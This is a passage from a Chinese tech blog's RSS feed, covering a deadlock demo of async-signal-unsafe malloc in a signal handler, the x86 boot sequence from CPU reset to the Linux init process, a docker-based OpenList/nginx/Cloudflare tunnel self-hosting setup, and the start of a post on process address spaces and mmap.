&lt;li&gt;竞争条件 (Race Conditions)：如果多个信号快速到达，它们可能被不同的线程处理，从而对共享数据产生竞争。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;可以使用 &lt;code&gt;pthread_kill()&lt;/code&gt; 向特定的线程发送信号。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Q: 为什么不单独开一个线程来处理信号？ A: POSIX信号模型的原始设计早于现代多线程库的普及，它的设计初衷是针对单进程模型的。单独开一个线程来处理信号是现代多线程编程中处理信号的推荐方法，这种模式被称为 “信号处理线程 (&lt;code&gt;Signal Handling Thread&lt;/code&gt;)” 或 “专用信号线程 (&lt;code&gt;Dedicated Signal Thread&lt;/code&gt;)”。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;当然，你可以亲手hack这个问题：（笑）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;chrono&amp;gt;
#include &amp;lt;csignal&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;mutex&amp;gt;
#include &amp;lt;thread&amp;gt;

using namespace std;

// 信号处理器函数
void signal_handler(int sig) {
    cerr &amp;lt;&amp;lt; &quot;Signal handler: attempting malloc\n&quot;;
    void* ptr = malloc(1 &amp;lt;&amp;lt; 30); // 尝试获取 malloc 内部锁
    if (ptr)
        free(ptr);
    cerr &amp;lt;&amp;lt; &quot;Signal handler: malloc succeeded (never reached)\n&quot;;
}

// 工作线程函数
void worker_thread() {
    cout &amp;lt;&amp;lt; &quot;Worker thread started\n&quot;;
    // 调用 malloc 获取其内部锁
    cout &amp;lt;&amp;lt; &quot;Worker thread start malloc\n&quot;;
    void* ptr = malloc(1 &amp;lt;&amp;lt; 30);
    ptr = malloc(1 &amp;lt;&amp;lt; 30);
    ptr = malloc(1 &amp;lt;&amp;lt; 30);
    ptr = malloc(1 &amp;lt;&amp;lt; 30);
    ptr = malloc(1 &amp;lt;&amp;lt; 30);
    cout &amp;lt;&amp;lt; &quot;Worker thread malloc end\n&quot;;
    // 如果出现 Working ，根据输出调整睡眠的时间，直到有机会在malloc触发的中断时，处理信号（笑）
    for (int i = 0; i &amp;lt; 2; ++i) {
        cout &amp;lt;&amp;lt; &quot;Working &quot; &amp;lt;&amp;lt; i + 1 &amp;lt;&amp;lt; &quot;/2...\n&quot;;
        this_thread::sleep_for(chrono::seconds(1));
    }
    free(ptr);
}

int main() {
    // 设置信号处理器
    struct sigaction sa {};
    sa.sa_handler = signal_handler;
    sigaction(SIGUSR1, &amp;amp;sa, nullptr);

    thread worker(worker_thread);
    // 等待线程进入临界区
    this_thread::sleep_for(chrono::nanoseconds(90)); // 需要根据你的实际情况调整sleep的时间
    pthread_kill(worker.native_handle(), SIGUSR1);
    cout &amp;lt;&amp;lt; &quot;\nMain: signal sent to worker thread\n&quot;;

    worker.join();
    cout &amp;lt;&amp;lt; &quot;Main: thread finished (never reached)\n&quot;;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;当然，你在 RTFM 的时候，&lt;a href=&quot;https://www.man7.org/linux/man-pages/man7/signal-safety.7.html&quot;&gt;signal-safety(7) Linux&lt;/a&gt; 可以找到这方面的解释：
手册页的表格中展示了POSIX.1 要求的 &lt;strong&gt;异步信号安全函数&lt;/strong&gt; 的函数集。一个函数是异步信号安全的，要么因为它是可重入的，要么因为它在信号方面是原子的（即，它的执行不能被信号处理程序中断）。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>从开机到OS的启动第一个程序解析</title><link>https://blog.alinche.dpdns.org/posts/os/start/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/start/</guid><description>start_kernel</description><pubDate>Tue, 26 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CPU Reset → Firmware → Boot loader → start_kernel() →&lt;/h1&gt;
&lt;h2&gt;1. CPU RESET&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;为了让计算机能运行我们的程序，一定会存在一些软件/硬件的约定，使CPU Reset 后，处理器处于某个确定的状态：
&lt;ul&gt;
&lt;li&gt;当CPU接收到复位信号(如电源接通或硬件复位)时，它首先会进入&lt;code&gt;实模式&lt;/code&gt;，PC 指针一般指向一段 memory-mapped ROM（对于x86 CPU，这个地址通常是 &lt;code&gt;0xFFFF0&lt;/code&gt; (在 1MB 内存空间的​​最顶端，是一个 jmp 指令) (储存了厂商的firmware 即 BIOS/UEFI 的入口点)）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;实模式&lt;/code&gt;(Real Mode)(16位模式)：其真实的物理地址(20位)=段寄存器*16+偏移地址，可通过 &lt;code&gt;(gdb)x/i ($cs * 16 + $rip)&lt;/code&gt; 查看具体要执行的指令。&lt;/li&gt;
&lt;li&gt;Q: &quot;0xFFFF0里的数据是怎么来的？&quot;
&lt;ul&gt;
&lt;li&gt;A: &lt;code&gt;内存映射&lt;/code&gt;(Memory-Mapped I/O，MMIO) 加电初始化时，芯片组会将 BIOS ROM 硬件通过内存映射I/O映射到20位总线模式下的高端地址(0xFFFFF-0xF0000 共64KB大小)，CPU 读取这些地址时实际上是从 BIOS ROM 中读取的数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Q: &quot;CPU物理地址空间大小是2^N根地址线​​ 字节，为什么此时看到的是只有20位的物理地址空间(1MB)&quot;
&lt;ul&gt;
&lt;li&gt;A: 这是由硬件设计的历史兼容性和启动流程决定的
&lt;ol&gt;
&lt;li&gt;首先你可以通过 &lt;code&gt;cat /proc/cpuinfo | grep address | head -1&lt;/code&gt; 查看到你的CPU​​地址总线宽度，现代CPU通常大于20。但是​加电复位时CPU会强制进入8086兼容状态(如：实模式+地址回绕)，从而兼容BIOS的设计模式。&lt;/li&gt;
&lt;li&gt;大部分地址(低端区域0x00000–0x9FFFF)被映射到DRAM（内存条）​​：这是物理地址空间的主体。操作系统和应用程序的数据都存放在这里。&lt;/li&gt;
&lt;li&gt;一部分地址(高端区域0xA0000–0xFFFFF)被映射到硬件设备（MMIO）​​：如 0xA0000-0xBFFFF映射到显卡显存，0xF0000-0xFFFFF映射到BIOS ROM。​​CPU访问这些地址时，​​数据来自设备而非DRAM​​，由&lt;code&gt;芯片组直接路由&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; dmesg | grep e820
[    0.000000] BIOS-provided physical RAM map:
[    0.000000] [mem 0x0000000000000000-0x000000000009fbff] usable  # ​​常规低端640KB DRAM
[    0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved  # 扩展 BIOS 数据区(EBDA, Extended BIOS Data Area)
[    0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved  # BIOS ROM
[    0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000000ffdffff] usable  # 解压后的Linux 内核主体
[    0.000000] BIOS-e820: [mem 0x000000000ffe0000-0x000000000fffffff] reserved  # 保留区域
[    0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved  # ​​PCI 设备映射
[    0.006910] e820: update [mem 0x00000000-0x00000fff] usable ==&amp;gt; reserved  # 实模式数据IVT&amp;amp;BDA
[    0.007095] e820: remove [mem 0x000a0000-0x000fffff] usable  # MMIO
[    0.747347] e820: reserve RAM buffer [mem 0x0009fc00-0x0009ffff]  # 将 EBDA 区域标记为保留缓冲区
[    0.747500] e820: reserve RAM buffer [mem 0x0ffe0000-0x0fffffff]  # 高端内存的一些缓冲区
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;此时，CPU的 &lt;code&gt;CR0&lt;/code&gt; 寄存器处于实模式状态，大部分特性处于关闭状态（如：缓存、虚拟存储、内存保护、分页机制等），所有内存访问都是对物理地址的直接读写。软件拥有对整个 1MB 地址空间（0x00000 - 0xFFFFF）的完全控制权。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/fff0.jpg&quot; alt=&quot;|690x400, 75%&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CR0&lt;/code&gt; ​(Control Registers)控制寄存器：
&lt;ul&gt;
&lt;li&gt;​​PE (Protection Enable, 位 0)  = 0​​：​​禁用保护模式​。（这是 CPU 处于实模式的根本原因）&lt;/li&gt;
&lt;li&gt;ET (Extension Type​​，   位 4)  = 1；兼容浮点协处理器格式。（x86 CPU上通常被硬编码为 1）&lt;/li&gt;
&lt;li&gt;NW (Not Write-through​​，位 29) = 1；禁用了“通写”缓存策略。&lt;/li&gt;
&lt;li&gt;CD (CaChe Disable，    位 30) = 1；禁用 CPU 内部缓存​。&lt;/li&gt;
&lt;li&gt;PG (Paging Enable,     位 31) = 0​​：​​禁用分页机制​​。所有地址都是物理地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EFLAGS&lt;/code&gt; (Extended Flags Register)算术状态标志和控制标志
&lt;ul&gt;
&lt;li&gt;IOPL (I/O Privilege Level，位12和13) IOPL 的值是一个介于 0 到 3 之间的数字，代表​​环等级(Ring Level)。​​Ring 0​​: 最高特权级，也称为内核态或超级visor模式，可以执行任何指令，访问任何硬件资源；​​Ring 3：最低特权级​​，用户态&lt;/li&gt;
&lt;li&gt;IOPL=0 的含义是：只有当前特权级(CPL, Current Privilege Level)为 0 的程序(即内核代码)才被允许执行与 I/O 相关的指令(IN,OUT,INS,OUTS,CLI,STI)，将操作硬件的权限完全保留给OS内核。如果 CPL &amp;gt; IOPL，那么任何尝试执行 I/O 指令的行为都会导致一个​​通用保护故障(#GP, General Protection Fault)，导致程序被操作系统终止&lt;/li&gt;
&lt;li&gt;IF (Interrupt Enable Flag，位9) IF=0 中断关闭。（通过 CLI(Clear Interrupt) STI(Set Interrupt)指令调整）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Firmware （BIOS/UEFI） 将用户数据加载到内存&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;BIOS (basic I/O system)(基本输入输出系统): 固件，负责硬件检测、硬件初始化、上电自检(POST, Power-On Self-Test)，然后寻找可启动设备（如硬盘、光盘、USB、网络等）（“可启动”的判断标准是：第一个扇区最后两个字节是否为魔数 0x55和 0xAA）&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;CPU从 0xFFFFFFF0(在实模式下表现为 0xFFF0) jmp到​​BIOS固件代码​​，BIOS代码执行到最后寻找到可启动设备，会将磁盘引导扇区读取并加载到内存中的特定地址 &lt;code&gt;0x7c00&lt;/code&gt;。（这个过程是BIOS通过磁盘I/O中断(如 INT 0x13)调用自身的例程来完成的）&lt;/li&gt;
&lt;li&gt;此时，主引导扇区 &lt;code&gt;MBR&lt;/code&gt; (Master Boot Record)（512Bytes）就载入了内存0x7c00（watchpoint 触发）, 将控制权交给 Bootloader&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;images/7c00.jpg&quot; alt=&quot;|690&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Q: &quot;为什么BIOS要把主引导扇区数据载入内存0x7c00，而不是选择像CPU Reset一样直接做内存映射I/O？&quot;
&lt;ul&gt;
&lt;li&gt;A: 磁盘存储的数据量很大（通常以扇区为单位），而且磁盘访问速度较慢，因此磁盘内容通常不直接映射到内存地址空间供CPU执行，而是加载到内存供CPU读取。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. ​​Bootloader​​&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;MBR是Bootloader的第一阶段。但由于MBR只有512字节，无法容纳复杂逻辑，所以它通常只负责分区扫描(64Bytes分区表)、磁盘读取(通过BIOS磁盘中断(INT 13h)，​加载并跳转Bootloader第二阶段，即磁盘的其他扇区)和错误处理。
&lt;ul&gt;
&lt;li&gt;Bootloader仍在实模式下运行，MBR后续扇区可能会完成一些基本设置（如文件系统解析​、多系统引导、硬件检测与初始化​​​等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最后加载内核到内存，传递好启动参数 &lt;a href=&quot;https://code.dragonos.org.cn/xref/linux-6.6.21/arch/x86/include/uapi/asm/bootparam.h#185&quot;&gt;struct boot_params&lt;/a&gt;，将CPU切换到保护模式(32位)或长模式(64位)(取决于内核)，跳转到内核入口点&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;今天的 boot loader 面临麻烦得多的硬件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;指纹锁、不知名厂商网卡上的网络启动、USB上的蓝牙转接器连接的蓝牙键盘、……&lt;/li&gt;
&lt;li&gt;Secure Boot 签名&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;实模式下CPU通过地址总线能访问的`物理地址空间`布局示例图（1MB，包括MMIO）
0xFFFFF +--------------------+
        | BIOS ROM (64KB)    |
0xF0000 +--------------------+
        | 各种MMIO (192KB)   |
0xC0000 +--------------------+
        | 显存 (128KB)       |
0xA0000 +--------------------+ ← MMIO 跟 DRAM 的分界
        | ​​自由内存​ (680.5KB)  |
0x7E00  +--------------------+
        | MBR代码 (512B)     |
0x7C00  +--------------------+  ← 引导扇区加载点
        | 自由区域 (29.75KB) |
0x0500 +--------------------+
        | BIOS数据区 (256B)  |
0x0400 +--------------------+
        | 中断向量表IVT (1KB) |
0x0000 +--------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/ &amp;gt; dmesg | grep node
[    0.000000] Faking a node at [mem 0x0000000000000000-0x000000000ffdffff]
[    0.000000] Movable zone start for each node
[    0.000000] Early memory node ranges
[    0.000000]   node   0: [mem 0x0000000000001000-0x000000000009efff] # 实模式MMIO区域之前的DRAM空间
[    0.000000]   node   0: [mem 0x0000000000100000-0x000000000ffdffff] # 解压后的内核，避开1MB一下的MMIO
[    0.000000] Initmem setup node 0 [mem 0x0000000000001000-0x000000000ffdffff]
# 下面开始初始化节点node0的内存管理系统...
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;start_kernel()​​&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://code.dragonos.org.cn/xref/linux-6.6.21/init/main.c#874&quot;&gt;Linux start_kernel code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;这是Linux内核的入口函数，位于init/main.c。内核开始执行时，会进行一系列初始化操作（如设置内存管理、中断、时钟​、进程调度器​​、设备驱动等）。&lt;/li&gt;
&lt;li&gt;内核最终会移交控制权，并启动用户空间的第一个进程，&lt;code&gt;init&lt;/code&gt;程序。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;init&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;内核启动后，它会执行用户空间的init进程。这是第一个用户进程，进程ID为1。&lt;/li&gt;
&lt;li&gt;init进程负责进一步启动系统服务和管理运行级别。
&lt;a href=&quot;https://code.dragonos.org.cn/xref/linux-6.6.21/init/main.c#1497&quot;&gt;Linux 寻找默认init的逻辑&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;if (!try_to_run_init_process(&quot;/sbin/init&quot;) ||
    !try_to_run_init_process(&quot;/etc/init&quot;) ||
    !try_to_run_init_process(&quot;/bin/init&quot;) ||
    !try_to_run_init_process(&quot;/bin/sh&quot;))
	return 0;
panic(&quot;No working init found.  Try passing init= option to kernel. &quot;
      &quot;See Linux Documentation/admin-guide/init.rst for guidance.&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;从此以后，Linux Kernel 就进入后台，成为 &lt;code&gt;“中断/异常处理程序”&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;init─┬─httpd
     ├─mysh─┬─pstree
     │      └─{mysh}
     └─nc
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>OpenList 网盘</title><link>https://blog.alinche.dpdns.org/posts/openlist/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/openlist/</guid><description>Nginx + DDNS-GO + OpenList + Cloudflare tunnel</description><pubDate>Thu, 12 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Nginx&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/nginx/nginx&quot;&gt;Nginx GitHub 仓库&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 准备 nginx 配置文件和静态资源
rm -rf /home/username/OpenList/my-nginx/nginx.conf &amp;amp;&amp;amp; docker rm -f my-nginx tmp-nginx 2&amp;gt;/dev/null; \
mkdir -p /home/username/OpenList/my-nginx/{conf.d,html,logs,ssl} &amp;amp;&amp;amp; \
docker run --rm -d --name tmp-nginx nginx &amp;amp;&amp;amp; \
docker cp tmp-nginx:/etc/nginx/nginx.conf /home/username/OpenList/my-nginx/nginx.conf &amp;amp;&amp;amp; \
docker cp tmp-nginx:/etc/nginx/conf.d /home/username/OpenList/my-nginx/ &amp;amp;&amp;amp; \
docker cp tmp-nginx:/usr/share/nginx/html /home/username/OpenList/my-nginx/ &amp;amp;&amp;amp; \
docker stop tmp-nginx
# 运行 nginx 容器
docker run -d \
  --name my-nginx \
  -p 80:80 \
  -p 443:443 \
  -v /home/username/OpenList/my-nginx/nginx.conf:/etc/nginx/nginx.conf:ro \
  -v /home/username/OpenList/my-nginx/conf.d:/etc/nginx/conf.d:ro \
  -v /home/username/OpenList/my-nginx/html:/usr/share/nginx/html:ro \
  -v /home/username/OpenList/my-nginx/logs:/var/logs/nginx \
  -v /home/username/OpenList/my-nginx/ssl:/etc/nginx/ssl:ro \
  --restart=always \
  nginx

docker logs my-nginx | grep -i error

# docker exec -it my-nginx /bin/bash # 如果需要进入容器交互式操作
docker exec my-nginx nginx -t
docker exec my-nginx nginx -s reload
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;nginx.conf&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# config
vim my-nginx/nginx.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user nginx;
worker_processes auto;
error_log logs/error.log error; # notice;
pid /run/nginx.pid;
master_process on;
worker_rlimit_nofile 65535;
events {
    worker_connections 65535;
    use epoll;
    multi_accept on;
}

http {
    include mime.types;
    include sites-enabled/*.conf;
    include conf.d/*.conf;
    default_type application/octet-stream;
    log_format main &apos;$remote_addr - $remote_user [$time_local] &quot;$request&quot; &apos;
        &apos;$status $body_bytes_sent &quot;$http_referer&quot; &apos;
        &apos;&quot;$http_user_agent&quot; &quot;$http_x_forwarded_for&quot;&apos;;
    access_log logs/access.log main;
    sendfile on; # 开启高效文件传输模式
    tcp_nopush on; # 防止网络阻塞
    keepalive_timeout 30;
    keepalive_requests 1000;
    reset_timedout_connection on;
    large_client_header_buffers 4 64k;
    client_max_body_size 0; # 设置文件上传大小限制,0为不限制
    # 开启 gzip 压缩
    gzip on;
    gzip_http_version 1.1;
    gzip_comp_level 3; # 压缩等级:1压缩比最小,处理速度快.9压缩比最大,比较消耗cpu资源
    gzip_min_length 1k;
    gzip_buffers 4 16k;
    gzip_types text/plain text/css text/xml text/javascript application/javascript application/xml+rss application/json;    
    gzip_vary on;
    # 静态文件缓存优化
    open_file_cache max=10000 inactive=30s;
    open_file_cache_valid 60s;
    open_file_cache_min_uses 2;
    open_file_cache_errors on;
    # SSL 优化
    ssl_protocols TLSv1.2 TLSv1.3; # 推荐的安全协议
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;

    upstream openlist_backend {
        server 172.17.0.1:5244; # OpenList 默认端口
        keepalive 32;
    }

    server {
        listen 80;
        listen [::]:80;
        server_name openlist.alinche.dpdns.org;
        return 301 https://$host$request_uri; # 自动跳转到HTTPS
    }

    server {
        listen 443 ssl;
        listen [::]:443 ssl;
        server_name openlist.alinche.dpdns.org;
        charset utf-8;

        ssl_certificate /etc/nginx/ssl/certs/cloudflare_cert.pem;
        ssl_certificate_key /etc/nginx/ssl/private/cloudflare_key.key;

        location / {
            proxy_pass http://openlist_backend/;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
            proxy_set_header Upgrade $http_upgrade;

            # 缓冲区和超时（针对大文件传输优化）
            proxy_buffering on;
            proxy_buffer_size 128k;
            proxy_buffers 8 256k;
            proxy_connect_timeout 60s;
            proxy_send_timeout 60s;
            proxy_read_timeout 60s;
        }

        location /nginx_status {
            stub_status;
            add_header X-Nginx-Status active;
            access_log off;
            keepalive_timeout 0;
            allow 127.0.0.1;
            # deny all;
        }
    }

    server {
        listen 80 default_server;
        listen [::]:80 default_server;
        server_name _;
        root /usr/share/nginx/html;
        index index.html;
        location / {
            try_files $uri $uri/ =404;
        }
    }

    # server {
    #     listen 443 default_server;
    #     listen [::]:443 default_server;
    #     server_name _;
    #     root /usr/share/nginx/html;
    #     index index.html;
    #     location / {
    #         try_files $uri $uri/ =404;
    #     }
    # }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- HTML --&amp;gt;
&amp;lt;!-- vim my-nginx/html/index.html --&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
    &amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        html {
            color-scheme: light dark;
        }
        body {
            width: 35em;
            margin: 0 auto;
            font-family: Tahoma, Verdana, Arial, sans-serif;
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;你好！nginx&amp;lt;/h1&amp;gt;
    &amp;lt;p&amp;gt;If you see this page, the nginx web server is successfully installed and working. Further configuration is required.&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;For online documentation and support please refer to
        &amp;lt;a href=&quot;https://www.bilibili.com/video/BV1TW1LYkE59/&quot;&amp;gt;bilibili.com&amp;lt;/a&amp;gt;.&amp;lt;br /&amp;gt;
    &amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Thank you for using nginx.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;DDNS-GO&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jeessy2/ddns-go&quot;&gt;DDNS-GO GitHub 仓库&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d --name ddns-go --restart=always --net=host -v /opt/ddns-go:/root jeessy/ddns-go
# 访问 IP:9876 进行管理
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;OpenList&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OpenListTeam/OpenList&quot;&gt;OpenList GitHub 仓库&lt;/a&gt;
&lt;a href=&quot;https://doc.oplist.org.cn/&quot;&gt;OpenList 官方文档 CN&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 docker
sudo chown -R 1001:1001 /etc/openlist
docker run -d --restart=unless-stopped -v /etc/openlist:/opt/openlist/data -p 5244:5244 -e UMASK=022 --name=&quot;openlist&quot; openlistteam/openlist:latest

# 如考虑使用二进制文件
sudo vim /etc/systemd/system/openlist.service # 访问 IP:5244 进行管理
[Unit]
Description=OpenList Service
After=network.target
[Service]
Type=simple
WorkingDirectory=/home/username/OpenList
ExecStart=/home/username/OpenList/openlist server
Restart=always
RestartSec=30
User=username
[Install]
WantedBy=multi-user.target

sudo systemctl daemon-reload
sudo systemctl enable openlist.service
sudo systemctl restart openlist.service
sudo systemctl status openlist.service

journalctl -u openlist.service -f
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cloudflare tunnel&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# https://one.dash.cloudflare.com/&amp;lt;id&amp;gt;/networks/connectors
sudo apt-get install cloudflared # 要用官网的命令添加 apt repo
# docker
docker run cloudflare/cloudflared:latest tunnel --no-autoupdate run --token [YOUR_TOKEN]

cloudflared tunnel login

sudo cloudflared service install
sudo systemctl start cloudflared
sudo systemctl enable cloudflared

cloudflared tunnel list
journalctl -a -u cloudflared -n 10

# 强制使用 HTTP2
sudo vim /etc/systemd/system/cloudflared.service
ExecStart=/usr/bin/cloudflared --no-autoupdate tunnel run --protocol http2 --token ...
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>mmap</title><link>https://blog.alinche.dpdns.org/posts/os/memory/mmap/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/memory/mmap/</guid><description>进程的地址空间 pmap vDSO mmap</description><pubDate>Sat, 10 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;进程的内存地址空间：隔离的虚拟世界&lt;/h3&gt;
&lt;p&gt;首先，核心概念是&lt;strong&gt;进程地址空间 (Process Address Space)&lt;/strong&gt;。操作系统为了实现进程间的隔离，会为每个进程分配一个独立的、从0开始的虚拟地址范围(VAS, Virtual Address Space)。 这意味着，进程A的地址&lt;code&gt;0x66ccff&lt;/code&gt;和进程B的地址&lt;code&gt;0x66ccff&lt;/code&gt;在物理内存中是完全不同的位置。这种虚拟地址到物理地址的转换由CPU的内存管理单元（MMU）在操作系统的页表（Page Table）辅助下完成。&lt;/p&gt;
&lt;p&gt;一个典型的Linux进程地址空间从低地址到高地址通常包含以下部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代码段 (.text)&lt;/strong&gt;: (r-x)存放可执行文件的二进制代码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据段 (.data, .rodata, .bss)&lt;/strong&gt;: (r--)存放已初始化、只读数据、未初始化的全局变量和静态变量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;堆 (Heap)&lt;/strong&gt;: 动态内存分配区域，通过&lt;code&gt;malloc&lt;/code&gt;、&lt;code&gt;new&lt;/code&gt;等函数申请的内存位于此处，libc 通过 &lt;code&gt;brk&lt;/code&gt; 或 &lt;code&gt;mmap&lt;/code&gt; 系统调用在此区域分配内存，堆地址从低向高增长。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内存映射区 (Memory Mapping Segment)&lt;/strong&gt;: 通过 &lt;code&gt;mmap&lt;/code&gt; 系统调用映射文件或分配匿名内存的区域。动态链接库（共享库）也加载在此处。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;栈 (Stack)&lt;/strong&gt;: 用于维护函数调用帧，存放函数参数、局部变量和返回地址，栈地址从高向低增长。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;[vDSO] 与 [vvar]&lt;/strong&gt;: 特殊的内核映射区域，用于加速特定系统调用，后文详述。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核空间&lt;/strong&gt;: 所有进程&lt;code&gt;共享&lt;/code&gt;同一个内核空间。地址空间的最高部分保留给内核使用。用户态代码无法直接访问此区域，只有在发生系统调用、中断或异常时，CPU才会从用户态切换到内核态并在此空间执行代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;如何窥探进程地址空间？&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;/proc/[pid]/maps&lt;/strong&gt;: 这是内核提供的一个虚拟文件，实时展示了指定进程ID（pid）的内存布局。 每一行都代表一个内存段（VMA, Virtual Memory Area），详细列出了该段的地址范围、权限（读/写/执行）、映射到文件的偏移量、设备号、inode以及映射的文件名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pmap (Process Memory Map)&lt;/strong&gt;: &lt;code&gt;pmap&lt;/code&gt; 命令是一个用户态工具，它通过解析&lt;code&gt;/proc/[pid]/maps&lt;/code&gt;文件，以更友好的方式展示进程的内存映射。 使用&lt;code&gt;-x&lt;/code&gt;选项可以显示更详细的信息。 &lt;code&gt;pidof game&lt;/code&gt;命令可以获取名为&quot;game&quot;的进程ID，然后通过&lt;code&gt;pmap -x $(pidof game)&lt;/code&gt;就能清晰地看到该游戏进程的完整内存布局，如RSS（Resident Set Size，实际占用的物理内存大小）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GDB 的 &lt;code&gt;info inferiors&lt;/code&gt;&lt;/strong&gt;: 在GDB调试器中，&quot;inferior&quot;指的是被调试的进程。 &lt;code&gt;info inferiors&lt;/code&gt;命令会列出GDB当前正在管理的所有inferior（进程）的信息，包括它们的进程ID。 这在调试多进程程序（如使用&lt;code&gt;fork&lt;/code&gt;创建子进程）时尤其有用。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;pmap -x 102204  # pmap 的本质是 访问 `/proc/` 实现的
102204:   /home/ubun/a.out (static)
Address           Kbytes     RSS   Dirty Mode  Mapping
